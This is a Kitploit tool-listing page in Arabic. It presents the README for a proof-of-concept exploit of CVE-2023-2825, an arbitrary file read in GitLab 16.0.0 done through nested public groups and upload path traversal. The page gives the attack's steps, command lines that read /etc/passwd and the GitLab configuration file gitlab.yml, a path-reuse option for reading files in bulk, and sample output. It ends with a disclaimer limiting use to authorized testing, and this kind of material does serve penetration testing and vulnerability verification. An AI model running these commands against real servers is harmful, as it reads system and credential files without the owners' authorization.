Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-2825-PoC — PoC لـ CVE-2023-2825: قراءة ملف تعسفية آلية لـ GitLab 16.0.0 عبر مجموعات عامة متداخلة، اجتياز تحميل المشروع، مسارات تحميل قابلة لإعادة الاستخدام، وإخراج CLI نظيف. | Kitploit
أدوات/GitHubGitHub/groppoxx/cve-2023-2825-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراق
GitHubgroppoxx/cve-2023-2825-poc

CVE-2023-2825-PoC

PoC لـ CVE-2023-2825: قراءة ملف تعسفية آلية لـ GitLab 16.0.0 عبر مجموعات عامة متداخلة، اجتياز تحميل المشروع، مسارات تحميل قابلة لإعادة الاستخدام، وإخراج CLI نظيف.

عرض المستودع
41منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2023-2825-PoC

إثبات المفهوم لـ CVE-2023-2825، ثغرة قراءة ملفات تعسفية في GitLab CE/EE 16.0.0.

يقوم السكريبت بتسجيل الدخول باستخدام حساب GitLab صالح، وإنشاء هيكل المجموعات العامة المتداخلة المطلوب، وإنشاء مشروع عام، ورفع ملف مرفق، ثم استخدام سلوك اجتياز مسار الرفع الضعيف لقراءة ملف مستهدف من خادم GitLab.

كما يدعم إعادة استخدام مسار رفع موجود، بحيث لا تحتاج إلى إنشاء مجموعات ومشاريع جديدة في كل مرة تقرأ فيها ملفًا.

ما يفعله

  1. المصادقة على مثيل GitLab المستهدف.
  2. إنشاء مجموعات عامة متداخلة باستخدام مسارات قصيرة لتحقيق تداخل عميق موثوق.
  3. إنشاء مشروع عام داخل أعمق مجموعة.
  4. رفع مرفق صغير إلى المشروع.
  5. بناء مسار الاجتياز من دليل الرفع.
  6. قراءة ملف واحد أو قائمة من الملفات.
  7. طباعة مسار رفع قابل لإعادة الاستخدام لعمليات قراءة لاحقة أسرع.

المتطلبات

root@kitploit:~
Python 3.8+

pip install -r requirements.txt

حزم Python المطلوبة:

root@kitploit:~
beautifulsoup4
requests
urllib3

بدء سريع

القيم المحصورة بين أقواس زاوية هي عناصر نائبة. استبدلها بقيمك الخاصة ولا تقم بتضمين الحرفين < أو .

>
root@kitploit:~
python3 cve_2023_2825.py \
  --url <GITLAB_URL> \
  --username <USERNAME> \
  --password '<PASSWORD>' \
  --file /etc/passwd

العناصر النائبة

root@kitploit:~
<GITLAB_URL>   # Target GitLab base URL. Example: http://gitlab.local
<USERNAME>     # Valid GitLab username.
<PASSWORD>     # Valid GitLab password.

مثال كامل

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --username alice \
  --password 'Password123!' \
  --file /etc/hosts

مثال للإخراج:

root@kitploit:~
[2026-05-17T18:20:10Z] [*] Getting CSRF token
[2026-05-17T18:20:10Z] [+] CSRF token found
[2026-05-17T18:20:11Z] [*] Logging in as alice
[2026-05-17T18:20:11Z] [+] Login successful
[2026-05-17T18:20:12Z] [*] Creating 11 nested public groups
[2026-05-17T18:20:18Z] [+] Created group: A1B-11
[2026-05-17T18:20:19Z] [*] Creating public project
[2026-05-17T18:20:20Z] [+] Reusable upload path: /A1B-1/.../poc-abcd1234/uploads/<hash>/
[2026-05-17T18:20:20Z] [*] Reading file: /etc/hosts

[+] Content of /etc/hosts
127.0.0.1 localhost

إعادة استخدام مسار الرفع

بعد تشغيل ناجح، يطبع السكريبت مسار رفع قابل لإعادة الاستخدام:

root@kitploit:~
Reusable upload path: /A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/

استخدمه مع --reuse-path لتخطي تسجيل الدخول وإنشاء المجموعات وإنشاء المشروع والرفع:

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --file /etc/hosts

يمكنك أيضًا تمرير رابط كامل وحذف --url:

root@kitploit:~
python3 cve_2023_2825.py \
  --reuse-path 'http://gitlab.local/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --file /etc/hosts

قراءة ملفات متعددة

أنشئ قائمة ملفات:

root@kitploit:~
cat > files.txt <<'EOF'
/etc/passwd
/etc/hosts
/var/opt/gitlab/gitlab-rails/etc/gitlab.yml
EOF

قم بتشغيل:

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --list files.txt

العلامات الاختيارية

root@kitploit:~
--groups <N>
   عدد المجموعات العامة المتداخلة التي سيتم إنشاؤها. القيمة الافتراضية: 11

--depth <N>
   عدد أجزاء الاجتياز المستخدمة. القيمة الافتراضية: 12

--reuse-path <PATH_OR_URL>
   دليل رفع مشروع موجود. يتخطى الإعداد ويقرأ الملفات مباشرة.

--only-final
   إخفاء سجلات التقدم وطباعة محتويات الملفات فقط.

--no-color
   تعطيل ألوان ANSI.

--debug
   طباعة مسار الاجتياز المُنشأ للمساعدة في استكشاف الأخطاء.

ملاحظات

  • الثغرة تتطلب GitLab CE/EE 16.0.0.
  • يلزم وجود حساب GitLab صالح لإنشاء المجموعات العامة المتداخلة والمشروع.
  • يتطلب المسار الضعيف وجود مرفق في مشروع عام متداخل داخل مجموعات عامة متعددة.
  • تُستخدم أسماء قصيرة للمجموعات عن قصد لتجنب مشكلات إنشاء المسار العميق في GitLab.
  • استخدم --reuse-path كلما أمكن لتجنب إنشاء مجموعات ومشاريع غير ضرورية.

قانوني

إثبات المفهوم هذا مخصص لاختبارات الأمان المصرح بها، والبيئات المختبرية، والتحقق من الثغرات. لا تستخدمه ضد أي نظام دون إذن صريح.

تنزيل الأداة